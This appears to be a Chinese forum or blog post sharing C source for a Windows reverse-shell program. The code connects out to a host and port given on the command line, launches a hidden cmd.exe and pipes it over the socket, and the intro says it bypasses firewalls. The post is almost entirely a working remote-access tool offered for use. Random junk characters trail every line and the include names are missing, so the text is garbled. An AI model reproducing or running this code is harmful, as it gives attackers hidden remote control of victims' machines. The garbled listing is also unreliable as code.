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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ld7B{ ?]  
Da ]zbz%%  
/* ============================== H=6-@+ !o  
Rebound port in Windows NT uQ3W =  
By wind,2006/7 ;CDa*(e  
===============================*/ ~ep^S^V+  
#include  t: 03  
#include vz^=o'  
zKFiCP K  
#pragma comment(lib,"wsock32.lib") ntn ~=oL  
nG7E j#1  
void OutputShell(); <x1,4a~  
SOCKET sClient; #YK=e&da  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Rts.jm>[  
p~z\&&0U0  
void main(int argc,char **argv) GRAPv|u9[  
{ -# /'^O +%  
WSADATA stWsaData; =xr2-K)e  
int nRet; m6o o-muAr  
SOCKADDR_IN stSaiClient,stSaiServer; ;-VXp80J  
H(DI /"N  
if(argc != 3) gH/(4h  
{ <*z9:jz Q  
printf("Useage:\n\rRebound DestIP DestPort\n"); e7n` fEpO  
return; bdj')%@n  
} * & : J  
W.> }5uVl6  
WSAStartup(MAKEWORD(2,2),&stWsaData); Vo9Fl Yj  
8*EqG5OP  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K<p)-q  
9^@#Ua  
stSaiClient.sin_family = AF_INET; u(~(+1W  
stSaiClient.sin_port = htons(0); !BR@"%hx  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &"=<w  
&?^"m\K4J*  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M<ba+Qn$  
{ ?GGBDql  
printf("Bind Socket Failed!\n"); .=@CF8ArG  
return; &Y-jK<  
} *a'I  
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stSaiServer.sin_family = AF_INET; M<xF4L3]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); L DdgI  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?zK\!r{  
Z@bKYfGM  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `86})xz{  
{ wj\kx\+  
printf("Connect Error!"); \;0UP+  
return; }T"&4Rvs2R  
} v\-7sgZR  
OutputShell(); 35Fs/Gf-n  
} >+Y@rj2  
RC^k#+  
void OutputShell() yK w.69.  
{ vgN%vw pL  
char szBuff[1024]; ]QKKt vN  
SECURITY_ATTRIBUTES stSecurityAttributes; O[ug7\cl+  
OSVERSIONINFO stOsversionInfo; mBDzc(_\$'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s$xm  
STARTUPINFO stStartupInfo; Ex5 LhRe>=  
char *szShell; CzI/Z+\  
PROCESS_INFORMATION stProcessInformation; sK7b4gmK  
unsigned long lBytesRead; ap[Q'=A`  
>Dq&[9,8  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); JxQGL{) >  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); p*~b5'+ C+  
stSecurityAttributes.lpSecurityDescriptor = 0; N2&h yM  
stSecurityAttributes.bInheritHandle = TRUE; K5 Z'kkOk  
AX6l=jFZx  
BCt>P?,UO  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Z;cA_}5  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); RH "EO4  
/;`-[   
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); QVe<Z A8N;  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d>Ky(wS  
stStartupInfo.wShowWindow = SW_HIDE; B+[L/C}=;  
stStartupInfo.hStdInput = hReadPipe; }h=3[pe}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; b\C1qM4  
Duq.`XO  
GetVersionEx(&stOsversionInfo); %Ktlez:S  
cfL:#IM  
switch(stOsversionInfo.dwPlatformId) z*`nfTw l  
{ #g]eDU-[  
case 1: rXVR X#Lh  
szShell = "command.com"; 59k-,lyU,  
break; qwYq9A$+  
default: v+ "9&  
szShell = "cmd.exe"; :CG;:( |  
break; sLW e \o  
} ^o Q^/v~  
#z9@x}p5g  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); a@N 1"O  
[[KIuW~ot  
send(sClient,szMsg,77,0); 2Y%E.){  
while(1) z}2  
{ La\|Bwx  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); iH)-8Q  
if(lBytesRead) W+#Zmvo  
{ #A^(1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); HQV#8G#B  
send(sClient,szBuff,lBytesRead,0); TTz_w-68  
} KHoDD=O  
else $%"~.L4  
{ }Pj;9ivz  
lBytesRead=recv(sClient,szBuff,1024,0); ^Dys#^  
if(lBytesRead<=0) break; {\ J%i|u  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);  y-)5d  
} ~s>Ud<l%r  
} Hw~?%g:<S  
Vn6]h|vm  
return; U46Z~B  
}
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